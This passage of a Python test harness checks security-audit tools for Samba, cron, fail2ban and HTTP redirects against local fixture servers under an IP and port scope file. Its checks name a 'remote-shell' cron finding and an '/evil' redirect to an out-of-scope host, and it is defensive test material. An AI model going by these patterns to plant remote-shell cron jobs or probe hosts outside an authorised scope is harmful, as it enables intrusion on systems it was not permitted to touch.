self.wfile.write(body)
return
self.send_response(302)
self.send_header("Location", location)
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *args):
pass
srv = http.server.HTTPServer((bind_ip, 0), Handler)
if cert is not None:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(cert, key)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv, srv.server_address[1]
redir_port2_srv, redir_port2 = route_server("127.0.0.2", {})
redir_srv, redir_port = route_server("127.0.0.1", {
"/chain": "/hop2",
"/hop2": "http://127.0.0.2:%d/final" % redir_port2,
"/evil": "http://198.51.100.9/landing",
})
redir_tls_dir = tempfile.mkdtemp(prefix="apex-redirtls-")
redir_cert = os.path.join(redir_tls_dir, "cert.pem")
redir_key = os.path.join(redir_tls_dir, "key.pem")
subprocess.run(["openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
"-keyout", redir_key, "-out", redir_cert, "-days", "2",
"-subj", "/CN=localhost",
"-addext", "basicConstraints=critical,CA:TRUE",
"-addext", "subjectAltName=IP:127.0.0.1"],
check=True, capture_output=True)
redir_tls_srv, redir_tls_port = route_server(
"127.0.0.1",
{"/downgrade": "http://127.0.0.1:%d/done" % redir_port},
cert=redir_cert, key=redir_key)
cfg13_home = tempfile.mkdtemp(prefix="apex-cfg13-home-")
write_scope(cfg13_home, {"label": "cfg13", "expires": "2099-12-31T23:59:59Z",
"allow_private": True,
"allow_ip": ["127.0.0.1", "127.0.0.2"],
"allow_port": [str(redir_port), str(redir_port2),
str(redir_tls_port)]})
res, _ = run([
call(1, "samba_audit", root=smb_root),
call(2, "samba_audit", root=smb_good_root),
call(3, "cron_audit", root=cron_root),
call(4, "cron_audit", root=cron_good_root),
call(5, "fail2ban_audit", root=f2b_root),
call(6, "fail2ban_audit", root=f2b_good_root),
call(7, "http_redirect_audit", target="127.0.0.1", port=redir_port,
path="/chain", tls=False),
call(8, "http_redirect_audit", target="127.0.0.1", port=redir_tls_port,
path="/downgrade", tls=True),
call(9, "http_redirect_audit", target="127.0.0.1", port=redir_port,
path="/evil", tls=False),
call(11, "cron_audit", root="/nonexistent-cron"),
call(12, "fail2ban_audit", root="/nonexistent-f2b"),
call(13, "http_redirect_audit", target="198.51.100.9", port=80),
], home=cfg13_home, extra_env={"CURL_CA_BUNDLE": redir_cert})
by_id = {r.get("id"): r for r in res}
smb = json.loads(text(by_id[1]))
smb_kinds = {f["kind"] for f in smb["findings"]}
check("samba_audit flags null passwords, guest mapping and SMB1",
{"world-writable", "null-passwords", "guest-mapping", "guest-access",
"smb1"} <= smb_kinds and smb["shares"] == 1, smb)
smb_good = json.loads(text(by_id[2]))
check("samba_audit accepts a hardened config",
smb_good["findings_count"] == 0 and smb_good["shares"] == 1,
smb_good)
cron = json.loads(text(by_id[3]))
cron_kinds = {f["id"] for f in cron["findings"]}
check("cron_audit flags writable files, writable dirs and pipes",
{"world-writable", "writable-dir", "remote-shell"} <= cron_kinds and
cron["jobs"] == 2 and cron["files"] == 2, cron)
cron_good = json.loads(text(by_id[4]))
check("cron_audit accepts ordinary jobs",
cron_good["findings_count"] == 0 and cron_good["jobs"] == 2,
cron_good)
f2b = json.loads(text(by_id[5]))
f2b_kinds = {f["id"] for f in f2b["findings"]}
check("fail2ban_audit flags the disabled and open jail",
{"world-writable", "sshd-disabled", "ignore-all", "no-ban",
"no-bantime", "no-action"} <= f2b_kinds and
f2b["sshd_enabled"] is False and f2b["action"] is False, f2b)
f2b_good = json.loads(text(by_id[6]))
check("fail2ban_audit accepts a hardened jail",
f2b_good["findings_count"] == 0 and
f2b_good["sshd_enabled"] is True and f2b_good["action"] is True,
f2b_good)
redir = json.loads(text(by_id[7]))
check("http_redirect_audit follows a cross-host chain",
redir["hops"] == 3 and redir["final_status"] == 200 and
redir["downgrade"] is False and redir["cross_host"] is True, redir)
redir_down = json.loads(text(by_id[8]))
check("http_redirect_audit flags an HTTPS to HTTP downgrade",
redir_down["hops"] == 2 and redir_down["downgrade"] is True, redir_down)
redir_evil = json.loads(text(by_id[9]))
check("http_redirect_audit stops at an out-of-scope hop",
redir_evil["hops"] == 1 and redir_evil["final_status"] == 302,
redir_evil)
check("cron_audit reports a missing crontab", err(by_id[11]),
text(by_id[11]))
check("fail2ban_audit reports a missing jail", err(by_id[12]),
text(by_id[12]))
check("http_redirect_audit refuses an out-of-scope target", err(by_id[13]),
text(by_id[13]))
redir_port2_srv.shutdown()
redir_port2_srv.server_close()
redir_srv.shutdown()
redir_srv.server_close()
redir_tls_srv.shutdown()
redir_tls_srv.server_close()
shutil.rmtree(smb_root, ignore_errors=True)
shutil.rmtree(smb_good_root, ignore_errors=True)
shutil.rmtree(cron_root, ignore_errors=True)
shutil.rmtree(cron_good_root, ignore_errors=True)
shutil.rmtree(f2b_root, ignore_errors=True)
shutil.rmtree(f2b_good_root, ignore_errors=True)
shutil.rmtree(redir_tls_dir, ignore_errors=True)
shutil.rmtree(cfg13_home, ignore_errors=True)
print("\n== esp32 tools ==")
esp_home = tempfile.mkdtemp(prefix="apex-esp-")
write_scope(esp_home, {"label": "esp", "expires": "2099-12-31T23:59:59Z"})
esp_m, esp_s = pty.openpty()